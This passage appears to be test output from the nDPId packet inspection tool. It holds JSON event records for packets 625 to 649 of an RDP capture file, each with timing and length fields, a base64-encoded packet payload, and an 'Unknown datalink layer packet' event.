packet","thread_id":0,"packet_id":625,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02079{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":626,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":699728,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFgtUAAfwYkIsCoAo6sEAK5DT3NDkeb57D5vQdOUBD2tfE0AAAXAwMGbwAAAAAAAADAy5a2n77NI88GHSsBdYPCSKVMdcs29z5c0bysXzTp+uLay2FBGtWbA6ButbtHzNvD+RPbvdCbLGVbnjGn55IW80Qey\/EdnuXxRv\/2Wei6\/SMciEJ3yVnKtQc2KqydXHlDMCz\/ClsoqmupFTDOs53hYn4ecdOuX9YzSAHSe0WrA8U1kq2WLnVp3yq9vX\/i1Mtg00Ck6b3RwIEmMNUXjRFlBx4EmgMxliWItC5jboaL+gSmqBHg\/gFyjXI1iHQFt9j6mee2A1LadGGxCyp9UZ6ZCvulAoiVf1kOz0QcqHNmYOv7sfv6jWPVXiwjx1MvkAv7iSNFDoc\/Z4147d+SHCBq6mHBBUrxvvIpGh5Idip\/eR5mIYdNcI6275heJ+YfR2AhqHUEShqP2\/i3yeENbVp5Km5QoTItBklFS7nl7m1G2nFWYIwoET36ZNrT1Md+1EigF+0Be5jqlOcxCs4pH1Mq19RVGFruReGSPzxlbx5yCptIoAD73LuA1tR3CrdZcPh+\/D\/5eJ8KUlxFobWOuL2cKGHLbiF4dLTC59ghO\/AmesjJaNBPNxRQ3D9uFmaWfv4nKw\/iNuhOfC+eLx+RN8ZHv0zQdtECUO+YtVo5Ws+FAzI+aLIj3BGDdeNKCy5T9G9o0aOYX3IpQadO01mouivrYmAWniJfiX1YNJDSFeqvaw1L\/7MACXC5s2EAxUtKTdgqABxFjKLjDpAz0pffMZJGV7mI+aVdBOlf1V8Ly60A9ufVWvU5aFIeJtVpE7nbFHFh4kaRDiVyAHlmlU5foMaMUgLEsODPF8xKbIZCTp6fu6WTMulTkflAWYjUM2pmEFbrKc3KVIguhQW7c67wqRa9ZafX6benM0XbvXXHDo5tJ\/LYzXAR+FwlJhFzBmoWTFV2xCi3yjvjLsbCZBuNEv+XSaH805X0UEm1Fmc43EDokSZabb+Jw653ua0kqw+Ruq1\/VSKgkV8BDVRl0cHk6GbzEWuEkLOhRvfyUR3GRnEM776GvzTqZqJXl2pZDWZ3H7B96eok\/szhlhfK7YS3L33ZdzPgbPcvUD6CuczrztsU+WFItD\/VtcORsJaze1DbXwhyg8NEorWy7HaSzukjB9Q2gnTq2G7b4HCDbptmxpP6IHFdDITb6NoVHYOWHkm9vvXGmo\/Zwjc\/8DnG83DIkhvP714MXI2VmVtErlO5Uak9dPWBPJg53FXPd3grYMsPDfG8y1UsOjVa8+oWF3Frfd1O4tAsAu9RucPOQ9mBLzQ+tK9JJk\/HOphYA7mauVAO06n6Gdesak4Df3GZtknAAMypyX5s1dPMc\/FG\/UXlVr0W7n7zoRQOsW5O7b8VTUDaffgSVDuTDVFLrCZ29cFPUVTt6xFo96UiLThRLMIxRp5IUKNeL0u6wqr\/TluvyklC+zaC\/ihQWMSMw3UO5t\/w4IX58xMN5E9uqROyfbR1B6BsjkNuCE9HrLCSmv7lPFreyCbEvBExSNydwFqShn7qcQUD+75UCmknKjuTSfcHRyGvG64lunhTZGcQMnDjSsqxiR+hKOHEKUAzLVjMkVfPOx4Yz7fqNt9Yw6kVL3COQQaFrQXLGskvMNJMTVydckiOeAukn\/ADsGabnLab4x6nSxmWgZSSRaz3Wp4MuVQUqT8dOuHON+mG6xOe7jnPg3X9p3Y928YFvj4i\/lHBCtd\/"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":626,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00866{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":627,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":699768,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNgtkAAfwYnn8CoAo6sEAK5DT3NDkeb7Kn5vQdOUBj2tTMUAABspp8BUuuvmOZa1gLm3b7Unz8NEVxpnjo\/bNOxX5McwEZg60PFrwb7u1GwWWfLB3wwS89TMqY8sKy8UgAFw0K7Se\/9Wdgm\/6hxyJMfdgzT1ZD4RKwys8RAvmFUu5xeLnJGiF2hf5aSJm1KIj1HmANO1zdHuS+jsIkIEGmoja3q6JFnaUxGwi0i7iHu\/\/aMY\/G0zc48gjPSCjymZJl00y1vBUlTy1m1GnWXnNwVIAzI0Feg2OhCA27gsfACFfHFG29SkOfQPnfvvlIXgUyaUkBjweCFVceXVDerViCGIkYA0K1VjsoIqkILsMei3TiLn\/bpYD6nvvSBdCYw1qc+i3Zr4y7QA8X5lHFy6enB3SyJ7RvtO+ZOReB+WyPrhBmSkWY1frs+b0Mu\/SRNgwDUwxRfNiEGvFKoRbvUZzgZWfBNdesBakVhD+ufbGn6oreiQEP2whmtd27ssrp\/Q\/uVrjUSF4BzFjWV2ngxlD2Jffaezi9cqhIDxzUhrINh"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":627,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":628,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":699810,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9CG9Hm+4kUBAf9AuoAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":628,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00423{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":629,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":699921,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1gt0AAfwYo5MCoAo6sEAK5DT3NDkeb7iT5vQdOUBj2teq\/AAAXAwMAMAAAAAAAAADB3OzHsjDASdcsQSZ3nNTcNCC8myFINRAOJvhQPdhWb31ZcoQ7TFIeHA=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":629,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":630,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":699972,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9CG9Hm+5ZUBAf\/gtpAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":630,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00425{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":631,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":700065,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1guEAAfwYo48CoAo6sEAK5DT3NDkeb7ln5vQdOUBj2tb83AAAXAwMAMAAAAAAAAADCzVH6oih+bTl0h2dyEbpQ\/h5wd\/lJTOAvJUzbvvCdhpYquaS26T\/MNg=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":631,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":632,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":700104,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9CG9Hm+6OUBAf\/gs0AAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":632,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00432{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":633,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":700244,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AgAAAEUAAGUAAEAAQAbIk6wQArnAqAKOzQ4NPfm9CG9Hm+6OUBggAMNgAAAXAwMAOOAIO32NJwvJ+E6Sh2WtPnzmv2RFtdRz5G+V1pi4KJ4Ilzh97YitjDL1mfxhVXdABnMV35nEjcuj"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":633,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00423{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":634,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":700353,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1guUAAfwYo4sCoAo6sEAK5DT3NDkeb7o75vQdOUBj2tY9jAAAXAwMAMAAAAAAAAADDHNOghYDKaSH4vMKE4cBhrw3PiksnQjpeM5bq97rJS\/GjgLXXlW1E2A=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":634,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":635,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":700420,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9CKxHm+7DUBAf\/grCAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":635,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02080{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":636,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":700517,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFgukAAfwYkHcCoAo6sEAK5DT3NDkeb7sP5vQdOUBD2tfKhAAAXAwMGbwAAAAAAAADE70hR9Bv7Sr71oLPAgJVaOsfiCxBR7SpMd6g6GsWPRjOgTNaOfsE0om5iBHMXr4PxyqJFq+pix8khHfSi+NVHBu+7i03kyqG6pe6qZfsxUwzDLwPdpbsvAqVJy9FHgwVsO+oSO\/jEq9ER46Qt2To7j\/3I80uJFODHFrjN8+J6GWVv9gw4T+60wNsnLjCHCrQj\/H6oK9ZU\/WfN+0iPXTahrjPawVvSO1WxArQ0KrKs7ohvYoZWjBh5bbpk3\/xSwcm2Y1ya4snyRNoA2Z5OXPlfJOrtbX5U8bFCXJbxA2ZpUecwlcWTEI0mKPbRQFDXF32VIm3zfOy4darmrrujAe2TxZKyNpP8aU\/DqYjC5jqhUjbDM120R5MOp1mwFtC9KhO5Zho0W+P5iT2V08s\/H+k1XQRHk9C7GB74FF2vWb+oU1FpcRU80Qn6BK2HwhPb8bixv46ZghmSVxKHOHzNQyZlh\/s7V+ve+x6WvMcbK\/uirfijTMeXFanW5ooHGN7gVJgW2357oUD6AWWBC+OVzMsdeiYlhnbHhHAUjvRIdMLS\/Wsg3cFk0xzdtflBKFXZEnUG1lczAf9ViNtYRc2sZAckQGmg4fQ0W4vRWAg+eEx8fzI\/EG60kA\/yO24v17dFmH6jtIgyYRxy45Qnjmna2GR1oFfxWQMXXdmCBsdzRzh7njimkpBIWUz02raZjr4SA4S\/MsBi6jdWyyevrl+suSYb18xdxxgCIHQ1cYRZ\/Y7smoML5iQXR38SxSVf9UbSYVlNJrj8Z97DMd5yWqWmUNqaKyaUCTHiYnqjaWzvyiOUilOiCcx3DOogWJEYiaeVbJv0X7e6UbCcGEbFILBDeDtgYfYmGP05A6qwP7dWVt8DrbCOB2Kp3FNcjW3YD1hKIpm9ZQtJaHnHHdcG+jom7vKzQgbGpTVRgWAADwbcDBVNn3d\/SVPLWvgsI56kXaaNjH2V1g4HlcPCvoDFYGFvaZFGVTwnTzFIygKTmd7Nl9SST9AZcoNRzUa9+ggJ0\/Ak1ryE9i\/1lkTOKXxUjNSsCkvHPJkxSBwCnqkHRB\/ki8vCRhg2WcuizCGLycUPB9M3F353oUdZa7kVHXAsPkq7aJurLAqh1RiPfbD4ogf\/xHre\/V0FNve3\/a3G1hzJyRDLimkrzfHoALZeiH0J4Tp\/1t7PE4TF0UhqM+DdQ1cNwyd50zzwLNMM28CrBZ\/LDdUZC\/KXAkwyJSEUN9IJPVu9tHGv+1zRNTVV\/yK\/haBKbCITJMMWEKfhdg1RLotRqrpJGsUFeo6eHPJYvQm+LF+x\/daOjAAEh1ykK3uK8f0bQJXP+opZ+N0wzAeja\/xNYi7M\/SSNVlo3moDKTURiRjGBPWL6P95cv0EStNVBN2SXuKMPTHxW69FAH8Kyv1hpbxni09kxTiKJ2imtGGrFiN5Y+0xJBg6S1jZa0fDlyHWfDnUzafFWaFk9zhoMuEXN81vDMtdCzN0QvfzrE6nwmQWY4VW1DR7IWcmM7rH8CaakfHxkrWcA3Dsn7w4thJbGCaZg2lXpn6bjGjXPK\/zQoRxPQ3RtnnE46BaJky9lqyIc1e5QYE5AP3mXilE9gHRHCovJQ00CCxq4M6TFTMvMH5dq4JhXLRk7l8XT7Q9DVsvXE+3+roPNLOVPMztTCkai6IHQwY6MVB8ZecWZPilM0WN4"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":636,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00864{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":637,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":700560,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNgu0AAfwYnmsCoAo6sEAK5DT3NDkeb87z5vQdOUBj2tUfUAADeC30j4yynoa6fcLKkwART7SChpga0E5h0Uegl4QZlhp\/AfSJi2kUQo49l7BcD33kDdHie8x0Diq27zgTnqAQzSuCx0sy4u9cenKgDfH5dKV40Ds5IYoFzKAxZPnPihiqxkKWnZ0hMe7iqfg8AhFDh3qN6\/BE3Qmazw4G0L+v4Rhu\/EJb70l6+GHxS344zTJFNXacAH1\/3v9bP1W1k9AMmA9eotIZ5beLEgHSaTlGSzi4ICc3mdlfnIz5v3cSH2Zw5t+4KFKMDlMLTWJmtooe5bYkQ\/q\/WlyA7lO4EANdiJvsSniTPpN5LutPVWufXezEKMd7fzyWdfB9gik20dAUyB9G2whMGU5Sf\/wlsDs8bvCsif4LC1S2eWxS0WeZ4MK+bgYqxv19q4fEIrT8Qu1xJ+\/39qBqrmOARYTLkEDWCULnCRr0bbq3IOIcjcSqzx0SpVTu0feKoEigM5JxQWtBD4dR1e5Fyr2UWYT0TybFsRh7iOhpn1BS8k2s9"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":637,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00426{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":638,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":700585,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF0AAEAAQAbIm6wQArnAqAKOzQ4NPfm9CKxHm\/O8UBggAAuVAAAXAwMAMOAIO32NJwvKpuUPN6g\/KSfc4sfhT5wN\/sxzZJynmNbgY6\/SV3IHIMZdCe+sTrKfjg=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":638,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":639,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":700721,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9COFHm\/U3UBAf9AQjAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":639,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02082{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":640,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":713853,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFgvEAAfwYkG8CoAo6sEAK5DT3NDkeb9Tf5vQdOUBD2tdPEAAAXAwMGbwAAAAAAAADFdN9AyFP59lAUsf4q81sajgD+I4kD1kh2tslTfuPsBFDcXLUFYwkKefi+VPPW7E5SQYUmgeUPftKfSCWGyQLazEbplMTmTeLPKod9MeSNb8aj2PVMkpamWrbr6OuoK5nWOtMgrZ0rivT5lNQb6buZW9cNTSyPWbR1U8IvD5GpgApYVBg6\/UV+y+EFj9qA3zcJFnU\/Jb\/QNV7WwWv7SzHionGe07XLunvW9BjT2d4PddZ7n9MbcuAqxDBgUcf8kiM9txYCMaOdCe5XKAT+ilpr5n7U9nx9SRJ\/p\/G3co\/mwvs9EnagSedQ0Eo5ItJEFAkNvPgYlWk2AOSC7lWFcPC9qHo6MMWaytjknBsH7ekRDwc1Vg3A+2iwxVfCK\/jUmsjUEFmV8BdaKPa9JDjd1mqW0jh4aJ2VZsFp0xyNCjZIOgG7EB+49gEHDSluzRy9U0GrPgFFCWEVnb7JC+0cifWyOtuVmATFmBNQQ2pBM\/bkbyIXFUQa1tnMf0Btn\/3ptbMdVJ3UAp0dTtWctioVSquo+2DFL0Ln4tMoR4qNVBA1C1tZm8tDhYTAYslBnlgDDPSBCvZCTFtY78JmfaKhh\/CVLayVMqbuW6A\/OoD23+nR7aJ2LsxvqKPJh\/atl27V58kWs0QMBGciY1rN3mU65m2Kk2yus3824gmO64ZhCAugYtkWSNqo7QDPEMmRrztJyR91gAUBdFXGLcZ+LIG3plyYyqNPJsqmKqXOWiIg9+UwGVzCB81cpZVS77gvmfFBqWgUCYnpt+Nms10cZcYzr4S2QdnTXqwdFruMoGgQJC7ACqlF8Zc\/MFqG1uO0SAaKijINYm4fTmxLQv9KrlHNVGJ6HtVkKOcE\/4C1a6\/4maC+\/MK3\/Wkx90UTNtk5c3NixS3vddv6E830KQ2hza1ckyXVKFIipsLXNXFwOV0KotcGwkjX6NGNJ8q5pcpc0wPbCS361uwrLO45mSRcLoG7DNzI+5N2KlCn\/2zucykX5mlkQOz+mGq\/5KO4s097kosqG1amEYL0sWysamOshKUG++4BqKp1Qt5vI+EhG9w\/V53w0+VRdLBp6g+YNL+n9\/NAn94CjEAKPhVPtuz5yi+\/JXOM91ZNHU1iUfajUyR86XkQIPLttfVJZSAYC24Es1j8y0FV2Khx88sktcOo2LQF53nSZZGgc58OJcnu2fLR6qan6PhZlL8rjR6uyuXPB7B0UDQvY1E\/7\/c91VGVosB8r3H7DlF2uEsYnU4UULZe4qglZfjg5FEBthE1IvQfxmVj\/ndPU8boVIw0PtErPyvTCNNouyelNuFpNyiU2iUij3nLt4l5QONhHnsoAcLB79OLsBmb\/jKgnaL6\/a1kTzWgc2lJ50Y3fwI3d1SSB5up84glK87y1C7BrN3abZ\/+LVjPhpDyML2dvGNOQ8O83CS+y76sq8gtLDz43Q5A9OFGrf1VVCx6QVujYtqaaJvT6SwUwuwN3C7demK5vy2PNdJpx2KHto\/CvF8dXc8oIBXSuLIYc8zW8jsIFBFBjKAnd\/4l99URG9vR4CsqTbm2spj+GCr+0TtqYPR7rmVo6YM75mKDNTM2gJloE0BWoLwofWP76AeoGoYL4v5FzxwJFpepOe5xa2sZlwlbc3nhw4OQrpBNLpKEYDAN32jg\/VaIfvNu9QV79Z4ow1\/nUgnMYHq6"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":640,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00864{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":641,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":713904,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNgvUAAfwYnmMCoAo6sEAK5DT3NDkeb+jD5vQdOUBj2tRZjAACcmz3GYxzD4aLMP6M3GONYfsPGcG8ZD1+tkxYYL2TyG1xbP3iX6WKor7oukXkXRK\/z9CJLPyJv4chGIXu2BKRUsOQ5zIDpXm2Dmt9LfSMt7Pu5M+iWPbCg8ikg6L+N36iHTxRUx9e35a\/Qr2AImwAhFdGfgziCKTRzbftUFS0EVgvrDja5MAKSCStj22lsk4Lye8jE2u0j\/pCLIggpH0opyCPOcra+AvPmzp8Yj\/UMocwq1\/Oy3LKJR7TXeh5uKMm0UdCX1PpS2xK0AtzpQv6pedJOVvM6t\/Nd4TNBn+ntHDwwvviNKB+LtOI0hQ9xQNQ5OCa7g+2yws2joXY4TG+KTmZCu6yWewnqdu2jhWoCXv6t0ac3QPjxKST5qVYjg0WBLVvJNnGKAJMNMz08qPQhPlV9sesjzYNl8XRIh1xvySDUxlMGN2SFrrAS7JBBe3gequfEPWjE6dJbm59T\/\/GRaI8P696WiTMB+k04RR7xAC3orI6siLxqNdSU"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":641,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":642,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":713945,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9COFHm\/urUBAf9P2uAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":642,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00423{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":643,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":713966,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1gvkAAfwYo3cCoAo6sEAK5DT3NDkeb+6v5vQdOUBj2tVfaAAAXAwMAMAAAAAAAAADGVIe3vr8nN\/IhseUSsqpbtCM8HWh+COG7DLsIAP2Obrg4BGV1KtdigQ=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":643,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":644,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":714054,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChgv0AAfwYpEcCoAo6sEAK5DT3NDkeb++D5vQfAUBD2QyhLAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":644,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":645,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":714076,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9COFHm\/vgUBAf\/v1vAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":645,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00422{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":646,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":714184,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1gwEAAfwYo28CoAo6sEAK5DT3NDkeb++D5vQfAUBj2Q9noAAAXAwMAMAAAAAAAAADH9nMDKp3+9P7+nTxL3TCo7u92vIv1H8athyvFqmXey83FA9LYHkA3KQ=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":646,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":647,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":714219,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9COFHm\/wVUBAf\/v06AAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":647,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00426{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":648,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":714328,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1gwUAAfwYo2sCoAo6sEAK5DT3NDkeb\/BX5vQfAUBj2Qx11AAAXAwMAMAAAAAAAAADI+wbQHXVvk\/b+6L\/6A+jOapSP7eQw\/V0tCDIWKS1yn+j9VDihYF9njA=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":648,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":649,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":714355,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AgAAAEUAAGUAAEAAQAbIk6wQArnAqAKOzQ4NPfm9COFHm\/wVUBggANb2AAAXAwMAOOAIO32NJwvLNIKXRqu+BnEhb1\/LuOkB1DRdUX7SSUhs+IPGr3TkyD\/ALFvwHm9SEFxU5ODeEkKc"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":649,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} 